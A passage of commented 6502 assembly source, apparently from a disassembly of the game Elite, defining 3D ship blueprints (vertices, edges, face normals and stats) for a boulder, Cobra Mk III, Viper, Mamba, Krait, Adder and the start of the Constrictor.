EDGE 0, 1, 0, 1, 31 \ Edge 0
EDGE 1, 2, 0, 2, 31 \ Edge 1
EDGE 2, 3, 0, 3, 31 \ Edge 2
EDGE 3, 4, 0, 4, 31 \ Edge 3
EDGE 0, 4, 0, 5, 31 \ Edge 4
EDGE 0, 5, 1, 5, 31 \ Edge 5
EDGE 1, 6, 1, 2, 31 \ Edge 6
EDGE 2, 7, 2, 3, 31 \ Edge 7
EDGE 3, 8, 3, 4, 31 \ Edge 8
EDGE 4, 9, 4, 5, 31 \ Edge 9
EDGE 5, 6, 1, 6, 31 \ Edge 10
EDGE 6, 7, 2, 6, 31 \ Edge 11
EDGE 7, 8, 3, 6, 31 \ Edge 12
EDGE 8, 9, 4, 6, 31 \ Edge 13
EDGE 9, 5, 5, 6, 31 \ Edge 14
.SHIP_CANISTER_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 96, 0, 0, 31 \ Face 0
FACE 0, 41, 30, 31 \ Face 1
FACE 0, -18, 48, 31 \ Face 2
FACE 0, -51, 0, 31 \ Face 3
FACE 0, -18, -48, 31 \ Face 4
FACE 0, 41, -30, 31 \ Face 5
FACE -96, 0, 0, 31 \ Face 6
\ ******************************************************************************
\
\ Name: SHIP_BOULDER
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a boulder
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_BOULDER
EQUB 0 \ Max. canisters on demise = 0
EQUW 30 * 30 \ Targetable area = 30 * 30
EQUB LO(SHIP_BOULDER_EDGES - SHIP_BOULDER) \ Edges data offset (low)
EQUB LO(SHIP_BOULDER_FACES - SHIP_BOULDER) \ Faces data offset (low)
EQUB 45 \ Max. edge count = (45 - 1) / 4 = 11
EQUB 0 \ Gun vertex = 0
EQUB 14 \ Explosion count = 2, as (4 * n) + 6 = 14
EQUB 42 \ Number of vertices = 42 / 6 = 7
EQUB 15 \ Number of edges = 15
EQUW 1 \ Bounty = 1
EQUB 40 \ Number of faces = 40 / 4 = 10
EQUB 20 \ Visibility distance = 20
EQUB 20 \ Max. energy = 20
EQUB 30 \ Max. speed = 30
EQUB HI(SHIP_BOULDER_EDGES - SHIP_BOULDER) \ Edges data offset (high)
EQUB HI(SHIP_BOULDER_FACES - SHIP_BOULDER) \ Faces data offset (high)
EQUB 2 \ Normals are scaled by = 2^2 = 4
EQUB %00000000 \ Laser power = 0
\ Missiles = 0
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX -18, 37, -11, 1, 0, 9, 5, 31 \ Vertex 0
VERTEX 30, 7, 12, 2, 1, 6, 5, 31 \ Vertex 1
VERTEX 28, -7, -12, 3, 2, 7, 6, 31 \ Vertex 2
VERTEX 2, 0, -39, 4, 3, 8, 7, 31 \ Vertex 3
VERTEX -28, 34, -30, 4, 0, 9, 8, 31 \ Vertex 4
VERTEX 5, -10, 13, 15, 15, 15, 15, 31 \ Vertex 5
VERTEX 20, 17, -30, 15, 15, 15, 15, 31 \ Vertex 6
.SHIP_BOULDER_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 5, 1, 31 \ Edge 0
EDGE 1, 2, 6, 2, 31 \ Edge 1
EDGE 2, 3, 7, 3, 31 \ Edge 2
EDGE 3, 4, 8, 4, 31 \ Edge 3
EDGE 4, 0, 9, 0, 31 \ Edge 4
EDGE 0, 5, 1, 0, 31 \ Edge 5
EDGE 1, 5, 2, 1, 31 \ Edge 6
EDGE 2, 5, 3, 2, 31 \ Edge 7
EDGE 3, 5, 4, 3, 31 \ Edge 8
EDGE 4, 5, 4, 0, 31 \ Edge 9
EDGE 0, 6, 9, 5, 31 \ Edge 10
EDGE 1, 6, 6, 5, 31 \ Edge 11
EDGE 2, 6, 7, 6, 31 \ Edge 12
EDGE 3, 6, 8, 7, 31 \ Edge 13
EDGE 4, 6, 9, 8, 31 \ Edge 14
.SHIP_BOULDER_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE -15, -3, 8, 31 \ Face 0
FACE -7, 12, 30, 31 \ Face 1
FACE 32, -47, 24, 31 \ Face 2
FACE -3, -39, -7, 31 \ Face 3
FACE -5, -4, -1, 31 \ Face 4
FACE 49, 84, 8, 31 \ Face 5
FACE 112, 21, -21, 31 \ Face 6
FACE 76, -35, -82, 31 \ Face 7
FACE 22, 56, -137, 31 \ Face 8
FACE 40, 110, -38, 31 \ Face 9
\ ******************************************************************************
\
\ Name: SHIP_COBRA_MK_3
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a Cobra Mk III
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_COBRA_MK_3
EQUB 3 \ Max. canisters on demise = 3
EQUW 95 * 95 \ Targetable area = 95 * 95
EQUB LO(SHIP_COBRA_MK_3_EDGES - SHIP_COBRA_MK_3) \ Edges data offset (low)
EQUB LO(SHIP_COBRA_MK_3_FACES - SHIP_COBRA_MK_3) \ Faces data offset (low)
EQUB 153 \ Max. edge count = (153 - 1) / 4 = 38
EQUB 84 \ Gun vertex = 84 / 4 = 21
EQUB 42 \ Explosion count = 9, as (4 * n) + 6 = 42
EQUB 168 \ Number of vertices = 168 / 6 = 28
EQUB 38 \ Number of edges = 38
EQUW 0 \ Bounty = 0
EQUB 52 \ Number of faces = 52 / 4 = 13
EQUB 50 \ Visibility distance = 50
EQUB 150 \ Max. energy = 150
EQUB 28 \ Max. speed = 28
EQUB HI(SHIP_COBRA_MK_3_EDGES - SHIP_COBRA_MK_3) \ Edges data offset (low)
EQUB HI(SHIP_COBRA_MK_3_FACES - SHIP_COBRA_MK_3) \ Faces data offset (low)
EQUB 1 \ Normals are scaled by = 2^1 = 2
EQUB %00010011 \ Laser power = 2
\ Missiles = 3
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX 32, 0, 76, 15, 15, 15, 15, 31 \ Vertex 0
VERTEX -32, 0, 76, 15, 15, 15, 15, 31 \ Vertex 1
VERTEX 0, 26, 24, 15, 15, 15, 15, 31 \ Vertex 2
VERTEX -120, -3, -8, 3, 7, 10, 10, 31 \ Vertex 3
VERTEX 120, -3, -8, 4, 8, 12, 12, 31 \ Vertex 4
VERTEX -88, 16, -40, 15, 15, 15, 15, 31 \ Vertex 5
VERTEX 88, 16, -40, 15, 15, 15, 15, 31 \ Vertex 6
VERTEX 128, -8, -40, 8, 9, 12, 12, 31 \ Vertex 7
VERTEX -128, -8, -40, 7, 9, 10, 10, 31 \ Vertex 8
VERTEX 0, 26, -40, 5, 6, 9, 9, 31 \ Vertex 9
VERTEX -32, -24, -40, 9, 10, 11, 11, 31 \ Vertex 10
VERTEX 32, -24, -40, 9, 11, 12, 12, 31 \ Vertex 11
VERTEX -36, 8, -40, 9, 9, 9, 9, 20 \ Vertex 12
VERTEX -8, 12, -40, 9, 9, 9, 9, 20 \ Vertex 13
VERTEX 8, 12, -40, 9, 9, 9, 9, 20 \ Vertex 14
VERTEX 36, 8, -40, 9, 9, 9, 9, 20 \ Vertex 15
VERTEX 36, -12, -40, 9, 9, 9, 9, 20 \ Vertex 16
VERTEX 8, -16, -40, 9, 9, 9, 9, 20 \ Vertex 17
VERTEX -8, -16, -40, 9, 9, 9, 9, 20 \ Vertex 18
VERTEX -36, -12, -40, 9, 9, 9, 9, 20 \ Vertex 19
VERTEX 0, 0, 76, 0, 11, 11, 11, 6 \ Vertex 20
VERTEX 0, 0, 90, 0, 11, 11, 11, 31 \ Vertex 21
VERTEX -80, -6, -40, 9, 9, 9, 9, 8 \ Vertex 22
VERTEX -80, 6, -40, 9, 9, 9, 9, 8 \ Vertex 23
VERTEX -88, 0, -40, 9, 9, 9, 9, 6 \ Vertex 24
VERTEX 80, 6, -40, 9, 9, 9, 9, 8 \ Vertex 25
VERTEX 88, 0, -40, 9, 9, 9, 9, 6 \ Vertex 26
VERTEX 80, -6, -40, 9, 9, 9, 9, 8 \ Vertex 27
.SHIP_COBRA_MK_3_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 0, 11, 31 \ Edge 0
EDGE 0, 4, 4, 12, 31 \ Edge 1
EDGE 1, 3, 3, 10, 31 \ Edge 2
EDGE 3, 8, 7, 10, 31 \ Edge 3
EDGE 4, 7, 8, 12, 31 \ Edge 4
EDGE 6, 7, 8, 9, 31 \ Edge 5
EDGE 6, 9, 6, 9, 31 \ Edge 6
EDGE 5, 9, 5, 9, 31 \ Edge 7
EDGE 5, 8, 7, 9, 31 \ Edge 8
EDGE 2, 5, 1, 5, 31 \ Edge 9
EDGE 2, 6, 2, 6, 31 \ Edge 10
EDGE 3, 5, 3, 7, 31 \ Edge 11
EDGE 4, 6, 4, 8, 31 \ Edge 12
EDGE 1, 2, 0, 1, 31 \ Edge 13
EDGE 0, 2, 0, 2, 31 \ Edge 14
EDGE 8, 10, 9, 10, 31 \ Edge 15
EDGE 10, 11, 9, 11, 31 \ Edge 16
EDGE 7, 11, 9, 12, 31 \ Edge 17
EDGE 1, 10, 10, 11, 31 \ Edge 18
EDGE 0, 11, 11, 12, 31 \ Edge 19
EDGE 1, 5, 1, 3, 29 \ Edge 20
EDGE 0, 6, 2, 4, 29 \ Edge 21
EDGE 20, 21, 0, 11, 6 \ Edge 22
EDGE 12, 13, 9, 9, 20 \ Edge 23
EDGE 18, 19, 9, 9, 20 \ Edge 24
EDGE 14, 15, 9, 9, 20 \ Edge 25
EDGE 16, 17, 9, 9, 20 \ Edge 26
EDGE 15, 16, 9, 9, 19 \ Edge 27
EDGE 14, 17, 9, 9, 17 \ Edge 28
EDGE 13, 18, 9, 9, 19 \ Edge 29
EDGE 12, 19, 9, 9, 19 \ Edge 30
EDGE 2, 9, 5, 6, 30 \ Edge 31
EDGE 22, 24, 9, 9, 6 \ Edge 32
EDGE 23, 24, 9, 9, 6 \ Edge 33
EDGE 22, 23, 9, 9, 8 \ Edge 34
EDGE 25, 26, 9, 9, 6 \ Edge 35
EDGE 26, 27, 9, 9, 6 \ Edge 36
EDGE 25, 27, 9, 9, 8 \ Edge 37
.SHIP_COBRA_MK_3_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 0, 62, 31, 31 \ Face 0
FACE -18, 55, 16, 31 \ Face 1
FACE 18, 55, 16, 31 \ Face 2
FACE -16, 52, 14, 31 \ Face 3
FACE 16, 52, 14, 31 \ Face 4
FACE -14, 47, 0, 31 \ Face 5
FACE 14, 47, 0, 31 \ Face 6
FACE -61, 102, 0, 31 \ Face 7
FACE 61, 102, 0, 31 \ Face 8
FACE 0, 0, -80, 31 \ Face 9
FACE -7, -42, 9, 31 \ Face 10
FACE 0, -30, 6, 31 \ Face 11
FACE 7, -42, 9, 31 \ Face 12
\ ******************************************************************************
\
\ Name: SHIP_VIPER
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a Viper
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_VIPER
EQUB 0 \ Max. canisters on demise = 0
EQUW 75 * 75 \ Targetable area = 75 * 75
EQUB LO(SHIP_VIPER_EDGES - SHIP_VIPER) \ Edges data offset (low)
EQUB LO(SHIP_VIPER_FACES - SHIP_VIPER) \ Faces data offset (low)
EQUB 77 \ Max. edge count = (77 - 1) / 4 = 19
EQUB 0 \ Gun vertex = 0
EQUB 42 \ Explosion count = 9, as (4 * n) + 6 = 42
EQUB 90 \ Number of vertices = 90 / 6 = 15
EQUB 20 \ Number of edges = 20
EQUW 0 \ Bounty = 0
EQUB 28 \ Number of faces = 28 / 4 = 7
EQUB 23 \ Visibility distance = 23
EQUB 100 \ Max. energy = 100
EQUB 32 \ Max. speed = 32
EQUB HI(SHIP_VIPER_EDGES - SHIP_VIPER) \ Edges data offset (high)
EQUB HI(SHIP_VIPER_FACES - SHIP_VIPER) \ Faces data offset (high)
EQUB 1 \ Normals are scaled by = 2^1 = 2
EQUB %00010001 \ Laser power = 2
\ Missiles = 1
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX 0, 0, 72, 1, 2, 3, 4, 31 \ Vertex 0
VERTEX 0, 16, 24, 0, 1, 2, 2, 30 \ Vertex 1
VERTEX 0, -16, 24, 3, 4, 5, 5, 30 \ Vertex 2
VERTEX 48, 0, -24, 2, 4, 6, 6, 31 \ Vertex 3
VERTEX -48, 0, -24, 1, 3, 6, 6, 31 \ Vertex 4
VERTEX 24, -16, -24, 4, 5, 6, 6, 30 \ Vertex 5
VERTEX -24, -16, -24, 5, 3, 6, 6, 30 \ Vertex 6
VERTEX 24, 16, -24, 0, 2, 6, 6, 31 \ Vertex 7
VERTEX -24, 16, -24, 0, 1, 6, 6, 31 \ Vertex 8
VERTEX -32, 0, -24, 6, 6, 6, 6, 19 \ Vertex 9
VERTEX 32, 0, -24, 6, 6, 6, 6, 19 \ Vertex 10
VERTEX 8, 8, -24, 6, 6, 6, 6, 19 \ Vertex 11
VERTEX -8, 8, -24, 6, 6, 6, 6, 19 \ Vertex 12
VERTEX -8, -8, -24, 6, 6, 6, 6, 18 \ Vertex 13
VERTEX 8, -8, -24, 6, 6, 6, 6, 18 \ Vertex 14
.SHIP_VIPER_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 3, 2, 4, 31 \ Edge 0
EDGE 0, 1, 1, 2, 30 \ Edge 1
EDGE 0, 2, 3, 4, 30 \ Edge 2
EDGE 0, 4, 1, 3, 31 \ Edge 3
EDGE 1, 7, 0, 2, 30 \ Edge 4
EDGE 1, 8, 0, 1, 30 \ Edge 5
EDGE 2, 5, 4, 5, 30 \ Edge 6
EDGE 2, 6, 3, 5, 30 \ Edge 7
EDGE 7, 8, 0, 6, 31 \ Edge 8
EDGE 5, 6, 5, 6, 30 \ Edge 9
EDGE 4, 8, 1, 6, 31 \ Edge 10
EDGE 4, 6, 3, 6, 30 \ Edge 11
EDGE 3, 7, 2, 6, 31 \ Edge 12
EDGE 3, 5, 6, 4, 30 \ Edge 13
EDGE 9, 12, 6, 6, 19 \ Edge 14
EDGE 9, 13, 6, 6, 18 \ Edge 15
EDGE 10, 11, 6, 6, 19 \ Edge 16
EDGE 10, 14, 6, 6, 18 \ Edge 17
EDGE 11, 14, 6, 6, 16 \ Edge 18
EDGE 12, 13, 6, 6, 16 \ Edge 19
.SHIP_VIPER_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 0, 32, 0, 31 \ Face 0
FACE -22, 33, 11, 31 \ Face 1
FACE 22, 33, 11, 31 \ Face 2
FACE -22, -33, 11, 31 \ Face 3
FACE 22, -33, 11, 31 \ Face 4
FACE 0, -32, 0, 31 \ Face 5
FACE 0, 0, -48, 31 \ Face 6
\ ******************************************************************************
\
\ Name: SHIP_MAMBA
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a Mamba
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_MAMBA
EQUB 1 \ Max. canisters on demise = 1
EQUW 70 * 70 \ Targetable area = 70 * 70
EQUB LO(SHIP_MAMBA_EDGES - SHIP_MAMBA) \ Edges data offset (low)
EQUB LO(SHIP_MAMBA_FACES - SHIP_MAMBA) \ Faces data offset (low)
EQUB 93 \ Max. edge count = (93 - 1) / 4 = 23
EQUB 0 \ Gun vertex = 0
EQUB 34 \ Explosion count = 7, as (4 * n) + 6 = 34
EQUB 150 \ Number of vertices = 150 / 6 = 25
EQUB 28 \ Number of edges = 28
EQUW 150 \ Bounty = 150
EQUB 20 \ Number of faces = 20 / 4 = 5
EQUB 25 \ Visibility distance = 25
EQUB 90 \ Max. energy = 90
EQUB 30 \ Max. speed = 30
EQUB HI(SHIP_MAMBA_EDGES - SHIP_MAMBA) \ Edges data offset (high)
EQUB HI(SHIP_MAMBA_FACES - SHIP_MAMBA) \ Faces data offset (high)
EQUB 2 \ Normals are scaled by = 2^2 = 4
EQUB %00010010 \ Laser power = 2
\ Missiles = 2
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX 0, 0, 64, 0, 1, 2, 3, 31 \ Vertex 0
VERTEX -64, -8, -32, 0, 2, 4, 4, 31 \ Vertex 1
VERTEX -32, 8, -32, 1, 2, 4, 4, 30 \ Vertex 2
VERTEX 32, 8, -32, 1, 3, 4, 4, 30 \ Vertex 3
VERTEX 64, -8, -32, 0, 3, 4, 4, 31 \ Vertex 4
VERTEX -4, 4, 16, 1, 1, 1, 1, 14 \ Vertex 5
VERTEX 4, 4, 16, 1, 1, 1, 1, 14 \ Vertex 6
VERTEX 8, 3, 28, 1, 1, 1, 1, 13 \ Vertex 7
VERTEX -8, 3, 28, 1, 1, 1, 1, 13 \ Vertex 8
VERTEX -20, -4, 16, 0, 0, 0, 0, 20 \ Vertex 9
VERTEX 20, -4, 16, 0, 0, 0, 0, 20 \ Vertex 10
VERTEX -24, -7, -20, 0, 0, 0, 0, 20 \ Vertex 11
VERTEX -16, -7, -20, 0, 0, 0, 0, 16 \ Vertex 12
VERTEX 16, -7, -20, 0, 0, 0, 0, 16 \ Vertex 13
VERTEX 24, -7, -20, 0, 0, 0, 0, 20 \ Vertex 14
VERTEX -8, 4, -32, 4, 4, 4, 4, 13 \ Vertex 15
VERTEX 8, 4, -32, 4, 4, 4, 4, 13 \ Vertex 16
VERTEX 8, -4, -32, 4, 4, 4, 4, 14 \ Vertex 17
VERTEX -8, -4, -32, 4, 4, 4, 4, 14 \ Vertex 18
VERTEX -32, 4, -32, 4, 4, 4, 4, 7 \ Vertex 19
VERTEX 32, 4, -32, 4, 4, 4, 4, 7 \ Vertex 20
VERTEX 36, -4, -32, 4, 4, 4, 4, 7 \ Vertex 21
VERTEX -36, -4, -32, 4, 4, 4, 4, 7 \ Vertex 22
VERTEX -38, 0, -32, 4, 4, 4, 4, 5 \ Vertex 23
VERTEX 38, 0, -32, 4, 4, 4, 4, 5 \ Vertex 24
.SHIP_MAMBA_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 0, 2, 31 \ Edge 0
EDGE 0, 4, 0, 3, 31 \ Edge 1
EDGE 1, 4, 0, 4, 31 \ Edge 2
EDGE 1, 2, 2, 4, 30 \ Edge 3
EDGE 2, 3, 1, 4, 30 \ Edge 4
EDGE 3, 4, 3, 4, 30 \ Edge 5
EDGE 5, 6, 1, 1, 14 \ Edge 6
EDGE 6, 7, 1, 1, 12 \ Edge 7
EDGE 7, 8, 1, 1, 13 \ Edge 8
EDGE 5, 8, 1, 1, 12 \ Edge 9
EDGE 9, 11, 0, 0, 20 \ Edge 10
EDGE 9, 12, 0, 0, 16 \ Edge 11
EDGE 10, 13, 0, 0, 16 \ Edge 12
EDGE 10, 14, 0, 0, 20 \ Edge 13
EDGE 13, 14, 0, 0, 14 \ Edge 14
EDGE 11, 12, 0, 0, 14 \ Edge 15
EDGE 15, 16, 4, 4, 13 \ Edge 16
EDGE 17, 18, 4, 4, 14 \ Edge 17
EDGE 15, 18, 4, 4, 12 \ Edge 18
EDGE 16, 17, 4, 4, 12 \ Edge 19
EDGE 20, 21, 4, 4, 7 \ Edge 20
EDGE 20, 24, 4, 4, 5 \ Edge 21
EDGE 21, 24, 4, 4, 5 \ Edge 22
EDGE 19, 22, 4, 4, 7 \ Edge 23
EDGE 19, 23, 4, 4, 5 \ Edge 24
EDGE 22, 23, 4, 4, 5 \ Edge 25
EDGE 0, 2, 1, 2, 30 \ Edge 26
EDGE 0, 3, 1, 3, 30 \ Edge 27
.SHIP_MAMBA_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 0, -24, 2, 30 \ Face 0
FACE 0, 24, 2, 30 \ Face 1
FACE -32, 64, 16, 30 \ Face 2
FACE 32, 64, 16, 30 \ Face 3
FACE 0, 0, -127, 30 \ Face 4
\ ******************************************************************************
\
\ Name: SHIP_KRAIT
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a Krait
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_KRAIT
EQUB 1 \ Max. canisters on demise = 1
EQUW 60 * 60 \ Targetable area = 60 * 60
EQUB LO(SHIP_KRAIT_EDGES - SHIP_KRAIT) \ Edges data offset (low)
EQUB LO(SHIP_KRAIT_FACES - SHIP_KRAIT) \ Faces data offset (low)
EQUB 85 \ Max. edge count = (85 - 1) / 4 = 21
EQUB 0 \ Gun vertex = 0
EQUB 18 \ Explosion count = 3, as (4 * n) + 6 = 18
EQUB 102 \ Number of vertices = 102 / 6 = 17
EQUB 21 \ Number of edges = 21
EQUW 100 \ Bounty = 100
EQUB 24 \ Number of faces = 24 / 4 = 6
EQUB 25 \ Visibility distance = 25
EQUB 80 \ Max. energy = 80
EQUB 30 \ Max. speed = 30
EQUB HI(SHIP_KRAIT_EDGES - SHIP_KRAIT) \ Edges data offset (high)
EQUB HI(SHIP_KRAIT_FACES - SHIP_KRAIT) \ Faces data offset (high)
EQUB 1 \ Normals are scaled by = 2^1 = 2
EQUB %00010000 \ Laser power = 2
\ Missiles = 0
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX 0, 0, 96, 1, 0, 3, 2, 31 \ Vertex 0
VERTEX 0, 18, -48, 3, 0, 5, 4, 31 \ Vertex 1
VERTEX 0, -18, -48, 2, 1, 5, 4, 31 \ Vertex 2
VERTEX 90, 0, -3, 1, 0, 4, 4, 31 \ Vertex 3
VERTEX -90, 0, -3, 3, 2, 5, 5, 31 \ Vertex 4
VERTEX 90, 0, 87, 1, 0, 1, 1, 30 \ Vertex 5
VERTEX -90, 0, 87, 3, 2, 3, 3, 30 \ Vertex 6
VERTEX 0, 5, 53, 0, 0, 3, 3, 9 \ Vertex 7
VERTEX 0, 7, 38, 0, 0, 3, 3, 6 \ Vertex 8
VERTEX -18, 7, 19, 3, 3, 3, 3, 9 \ Vertex 9
VERTEX 18, 7, 19, 0, 0, 0, 0, 9 \ Vertex 10
VERTEX 18, 11, -39, 4, 4, 4, 4, 8 \ Vertex 11
VERTEX 18, -11, -39, 4, 4, 4, 4, 8 \ Vertex 12
VERTEX 36, 0, -30, 4, 4, 4, 4, 8 \ Vertex 13
VERTEX -18, 11, -39, 5, 5, 5, 5, 8 \ Vertex 14
VERTEX -18, -11, -39, 5, 5, 5, 5, 8 \ Vertex 15
VERTEX -36, 0, -30, 5, 5, 5, 5, 8 \ Vertex 16
.SHIP_KRAIT_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 3, 0, 31 \ Edge 0
EDGE 0, 2, 2, 1, 31 \ Edge 1
EDGE 0, 3, 1, 0, 31 \ Edge 2
EDGE 0, 4, 3, 2, 31 \ Edge 3
EDGE 1, 4, 5, 3, 31 \ Edge 4
EDGE 4, 2, 5, 2, 31 \ Edge 5
EDGE 2, 3, 4, 1, 31 \ Edge 6
EDGE 3, 1, 4, 0, 31 \ Edge 7
EDGE 3, 5, 1, 0, 30 \ Edge 8
EDGE 4, 6, 3, 2, 30 \ Edge 9
EDGE 1, 2, 5, 4, 8 \ Edge 10
EDGE 7, 10, 0, 0, 9 \ Edge 11
EDGE 8, 10, 0, 0, 6 \ Edge 12
EDGE 7, 9, 3, 3, 9 \ Edge 13
EDGE 8, 9, 3, 3, 6 \ Edge 14
EDGE 11, 13, 4, 4, 8 \ Edge 15
EDGE 13, 12, 4, 4, 8 \ Edge 16
EDGE 12, 11, 4, 4, 7 \ Edge 17
EDGE 14, 15, 5, 5, 7 \ Edge 18
EDGE 15, 16, 5, 5, 8 \ Edge 19
EDGE 16, 14, 5, 5, 8 \ Edge 20
.SHIP_KRAIT_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 3, 24, 3, 31 \ Face 0
FACE 3, -24, 3, 31 \ Face 1
FACE -3, -24, 3, 31 \ Face 2
FACE -3, 24, 3, 31 \ Face 3
FACE 38, 0, -77, 31 \ Face 4
FACE -38, 0, -77, 31 \ Face 5
\ ******************************************************************************
\
\ Name: SHIP_ADDER
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for an Adder
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_ADDER
EQUB 0 \ Max. canisters on demise = 0
EQUW 50 * 50 \ Targetable area = 50 * 50
EQUB LO(SHIP_ADDER_EDGES - SHIP_ADDER) \ Edges data offset (low)
EQUB LO(SHIP_ADDER_FACES - SHIP_ADDER) \ Faces data offset (low)
EQUB 97 \ Max. edge count = (97 - 1) / 4 = 24
EQUB 0 \ Gun vertex = 0
EQUB 22 \ Explosion count = 4, as (4 * n) + 6 = 22
EQUB 108 \ Number of vertices = 108 / 6 = 18
EQUB 29 \ Number of edges = 29
EQUW 40 \ Bounty = 40
EQUB 60 \ Number of faces = 60 / 4 = 15
EQUB 23 \ Visibility distance = 23
EQUB 85 \ Max. energy = 85
EQUB 24 \ Max. speed = 24
EQUB HI(SHIP_ADDER_EDGES - SHIP_ADDER) \ Edges data offset (high)
EQUB HI(SHIP_ADDER_FACES - SHIP_ADDER) \ Faces data offset (high)
EQUB 2 \ Normals are scaled by = 2^2 = 4
EQUB %00010000 \ Laser power = 2
\ Missiles = 0
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX -18, 0, 40, 1, 0, 12, 11, 31 \ Vertex 0
VERTEX 18, 0, 40, 1, 0, 3, 2, 31 \ Vertex 1
VERTEX 30, 0, -24, 3, 2, 5, 4, 31 \ Vertex 2
VERTEX 30, 0, -40, 5, 4, 6, 6, 31 \ Vertex 3
VERTEX 18, -7, -40, 6, 5, 14, 7, 31 \ Vertex 4
VERTEX -18, -7, -40, 8, 7, 14, 10, 31 \ Vertex 5
VERTEX -30, 0, -40, 9, 8, 10, 10, 31 \ Vertex 6
VERTEX -30, 0, -24, 10, 9, 12, 11, 31 \ Vertex 7
VERTEX -18, 7, -40, 8, 7, 13, 9, 31 \ Vertex 8
VERTEX 18, 7, -40, 6, 4, 13, 7, 31 \ Vertex 9
VERTEX -18, 7, 13, 9, 0, 13, 11, 31 \ Vertex 10
VERTEX 18, 7, 13, 2, 0, 13, 4, 31 \ Vertex 11
VERTEX -18, -7, 13, 10, 1, 14, 12, 31 \ Vertex 12
VERTEX 18, -7, 13, 3, 1, 14, 5, 31 \ Vertex 13
VERTEX -11, 3, 29, 0, 0, 0, 0, 5 \ Vertex 14
VERTEX 11, 3, 29, 0, 0, 0, 0, 5 \ Vertex 15
VERTEX 11, 4, 24, 0, 0, 0, 0, 4 \ Vertex 16
VERTEX -11, 4, 24, 0, 0, 0, 0, 4 \ Vertex 17
.SHIP_ADDER_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 1, 0, 31 \ Edge 0
EDGE 1, 2, 3, 2, 7 \ Edge 1
EDGE 2, 3, 5, 4, 31 \ Edge 2
EDGE 3, 4, 6, 5, 31 \ Edge 3
EDGE 4, 5, 14, 7, 31 \ Edge 4
EDGE 5, 6, 10, 8, 31 \ Edge 5
EDGE 6, 7, 10, 9, 31 \ Edge 6
EDGE 7, 0, 12, 11, 7 \ Edge 7
EDGE 3, 9, 6, 4, 31 \ Edge 8
EDGE 9, 8, 13, 7, 31 \ Edge 9
EDGE 8, 6, 9, 8, 31 \ Edge 10
EDGE 0, 10, 11, 0, 31 \ Edge 11
EDGE 7, 10, 11, 9, 31 \ Edge 12
EDGE 1, 11, 2, 0, 31 \ Edge 13
EDGE 2, 11, 4, 2, 31 \ Edge 14
EDGE 0, 12, 12, 1, 31 \ Edge 15
EDGE 7, 12, 12, 10, 31 \ Edge 16
EDGE 1, 13, 3, 1, 31 \ Edge 17
EDGE 2, 13, 5, 3, 31 \ Edge 18
EDGE 10, 11, 13, 0, 31 \ Edge 19
EDGE 12, 13, 14, 1, 31 \ Edge 20
EDGE 8, 10, 13, 9, 31 \ Edge 21
EDGE 9, 11, 13, 4, 31 \ Edge 22
EDGE 5, 12, 14, 10, 31 \ Edge 23
EDGE 4, 13, 14, 5, 31 \ Edge 24
EDGE 14, 15, 0, 0, 5 \ Edge 25
EDGE 15, 16, 0, 0, 3 \ Edge 26
EDGE 16, 17, 0, 0, 4 \ Edge 27
EDGE 17, 14, 0, 0, 3 \ Edge 28
.SHIP_ADDER_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 0, 39, 10, 31 \ Face 0
FACE 0, -39, 10, 31 \ Face 1
FACE 69, 50, 13, 31 \ Face 2
FACE 69, -50, 13, 31 \ Face 3
FACE 30, 52, 0, 31 \ Face 4
FACE 30, -52, 0, 31 \ Face 5
FACE 0, 0, -160, 31 \ Face 6
FACE 0, 0, -160, 31 \ Face 7
FACE 0, 0, -160, 31 \ Face 8
FACE -30, 52, 0, 31 \ Face 9
FACE -30, -52, 0, 31 \ Face 10
FACE -69, 50, 13, 31 \ Face 11
FACE -69, -50, 13, 31 \ Face 12
FACE 0, 28, 0, 31 \ Face 13
FACE 0, -28, 0, 31 \ Face 14
\ ******************************************************************************
\
\ Name: SHIP_CONSTRICTOR
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a Constrictor
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_CONSTRICTOR
EQUB 3 \ Max. canisters on demise = 3
EQUW 65 * 65 \ Targetable area = 65 * 65
EQUB LO(SHIP_CONSTRICTOR_EDGES - SHIP_CONSTRICTOR) \ Edges data offset (low)
EQUB LO(SHIP_CONSTRICTOR_FACES - SHIP_CONSTRICTOR) \ Faces data offset (low)
EQUB 77 \ Max. edge count = (77 - 1) / 4 = 19
EQUB 0 \ Gun vertex = 0
EQUB 46 \ Explosion count = 10, as (4 * n) + 6 = 46
EQUB 102 \ Number of vertices = 102 / 6 = 17
EQUB 24 \ Number of edges = 24
EQUW 0 \ Bounty = 0
EQUB 40 \ Number of faces = 40 / 4 = 10
EQUB 45 \ Visibility distance = 45
EQUB 252 \ Max. energy = 252
